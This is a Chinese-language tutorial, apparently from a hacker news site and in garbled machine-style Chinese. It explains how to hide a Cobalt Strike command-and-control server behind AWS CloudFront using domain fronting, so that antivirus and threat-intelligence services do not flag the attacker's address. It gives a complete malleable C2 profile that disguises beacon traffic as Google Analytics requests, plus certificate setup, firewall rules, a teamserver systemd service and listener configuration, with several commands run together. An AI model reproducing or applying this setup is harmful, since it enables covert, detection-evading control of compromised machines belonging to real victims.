acme

acme

黑客资讯hacker2020-08-28 8:08:146310A+A-

平常在渗入中大家常常会碰到那样的状况:提交一个远程控制到windows上,立刻就被杀病毒给杀了,随后杀病毒给样版全自动上传入云管理中心,过一次去查会ip或网站域名早已被标识为故意ip或远程控制ip,那麼有木有方式 来防止那样的状况呢?回答是的,我们可以将cs的联接数据加密和服务器头顶部也不会曝露cs的联接网站域名。

一,购买域名

在域名服务商申请办理一个网站域名,对后缀名无特别要求,一些申请注册一个x.com

二,域名解析

用域名服务商内置的分析也行,这里用的是完全免费的cloudflare,把一个二级子解析域名到服务器端的ip上边,改成test.x.com用A记录分析到192.168.1.1

三,申请办理域名证书

这里用的是acme.sh,用dns api申请办理了一个通配符证书,怎么申请可以看acme.sh Wiki(https://github.com/acmesh-official/acme.sh/wiki/dnsapi),现阶段acme .sh总适用110个DNS API。

用cloudfalreapi申请办理通配符证书:

exportCF_Token="sdfsdfsdfljlbjkljlkjsdfoiwje"
acme.sh--issue --dns dns_cf -d x.com -d '*.x.com'

安装证书并全自动变换域名证书种类和重新启动cs服务器端:

acme.sh--installcert -d x.com \
--keypath/usr/local/ssl/x.com.key \
--fullchainpath/usr/local/ssl/x.com.cer \
--reloadcmd"openssl pkcs12 -export -in /usr/local/ssl/x.com.cer \
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 \
-passoutpass:123456 \
&&systemctlrestart cobaltstrike.service"

安裝进行以后acme.sh会每日查验证书过期時间,大约在也有一个月到期的情况下acme.sh会全自动审签资格证书并实行安裝指令reloadcmd

四,变换域名证书种类

cs服务器端只了解p12种类的资格证书,假如用acme.sh申请办理得话能够启用指令自动化技术变换域名证书

opensslpkcs12 -export -in /usr/local/ssl/x.com.cer \
-inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 \
-passoutpass:123456

五,申请办理AWS CloudFront

申请注册一个亚马逊账号,关联适用visa,mastcard等付款的***并根据审批,不兼容中国银联***,必须留意的是aws是后述方式

申请注册好啦以后浏览https://console.aws.amazon.com/cloudfront/home,申请办理一个cloudfront

申请办理全过程中必须留意的地区:

image.png

image.png

建立进行以后aws会分派一个xxx.cloudfront.net的网站域名到账户下边,纪录下这一网站域名,以后会采用。

cloudfront并不是完全免费的,能够掌握下价钱:

传来价钱:

image.png

预估价钱:

image.png

及其别的收费标准:

image.png

六,改动C2介绍

介绍內容以下:

# makeour C2 look like a Google Web Bug
#https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
#Author: @armitagehacker
setuseragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) likeGecko";

http-get{
       set uri "/__utm.gif";
       client {
              parameter "utmac""UA-2202604-2";
              parameter "utmcn""1";
              parameter "utmcs""ISO-8859-1";
              parameter "utmsr""1280x1024";
              parameter "utmsc""32-bit";
              parameter "utmul""en-US";
              header "Host""*.cloudfront.net"; # 这儿必须改动
              metadata {
                     netbios;
                     prepend "__utma";
                     parameter"utmcc";
              }
       }
       server {
              header "Content-Type""image/gif";
              output {
                     # hexdump pixel.gif
                     # 0000000 47 49 46 38 39 6101 00 01 00 80 00 00 00 00 00
                     # 0000010 ff ff ff 21 f9 0401 00 00 00 00 2c 00 00 00 00
                     # 0000020 01 00 01 00 00 0201 44 00 3b
                     prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                     prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                     prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
                     print;
              }
       }

}


http-post{

       set uri "/___utm.gif";

       client {
              header "Content-Type""application/octet-stream";

              id {
                     prepend "UA-220";

                     append "-2";

                     parameter"utmac";

              }

              parameter "utmcn""1";
              parameter "utmcs""ISO-8859-1";
              parameter "utmsr""1280x1024";
              parameter "utmsc""32-bit";
              parameter "utmul""en-US";

              header "Host""*.cloudfront.net";  # 这儿必须改动
              output {
                     print;
              }
       }
       server {
              header "Content-Type""image/gif";
              output {
 prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";          prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";                     prepend"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
                     print;
              }
       }
}
\# dressup the staging process too
http-stager{
       server {
              header "Content-Type""image/gif";
       }
} 
https-certificate{
       set keystore "keystore.store";
       set password "123456";      # 这儿必须改动

}

改动好以后放进cs服务器端同一个文件目录下边

七,服务器防火墙配备

依据aws出示的ip目录(https://ip-ranges.amazonaws.com/ip-ranges.json)挑选出cloudfrant ip段,添加ipset目录

image.png

随后iptables启用ipset设定仅容许aws cloudfront ip能够80、443回源

image.png

最终添加标准,仅容许特殊ip能够浏览cs的管理方法端口号

image.png

最终的iptables标准文档应该是那样的:

image.png

如果是debian发行版能够充分利用网络起动脚本制作开展ipset和iptables的轻载

image.png

cat >/etc/network/if-pre-up.d/iptables<<EOF
#!/bin/bash
/sbin/ipsetrestore < /etc/ipset.rules
/sbin/iptables-restore< /etc/iptables.up.rules
/sbin/ip6tables-restore< /etc/ip6tables.up.rules
EOF
chmod  x/etc/network/if-pre-up.d/iptables

八,起动服务器端

cd到相对文件目录,导电软连接以前申请办理的资格证书

ln -s cobaltstrike.store /usr/local/ssl/x.com.p12

改动teamserver端口号和服务器防火墙相匹配

配备systemd起动服务项目,下边配备自主替更换ip和passwd

cat > /etc/systemd/system/cobaltstrike.service <<EOF
[Unit]
Description=cobalstrike service
After=network.target
[Service]
ExecStart=/usr/local/cobaltstrike4/teamserver ip passwd/usr/local/cobaltstrike4/c2.profile
WorkingDirectory=/usr/local/cobaltstrike4
Restart=on-failure
RestartSec=5s
ProtectHome=true
PrivateTmp=true
[Install]
WantedBy=multi-user.target
EOF
systemctl start cobaltstrike.service # 起动服务项目
systemctl status cobaltstrike.service # 查询服务项目

假如一切正常能够添加开机自启动

systemctl enable cobaltstrike.service

九,起动手机客户端

在bat起动文档里添加-DsocksProxyHost = 127.0.0.1 -DsocksProxyPort = 10808,根据代理商联接服务器端

image.png

增加一个侦听器,HTTPS服务器填写别的适用cloudfront的网站域名,称之为cdn1.safmc.net,大量的能够自身搜集

image.png

HTTPS服务器(Stager)添充刚刚申请办理到的cloudfront网站域名

image.png

随后就可以依照一切正常的方法应用cs,假如抓包软件会发觉应用了tls数据加密,仅有服务器头顶部和cloudfront.net能够见到,而服务器头是cdn1.safmc.net,而不是前边申请办理的网站域名检测。 x.com

文中创作者:Jdicsp

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理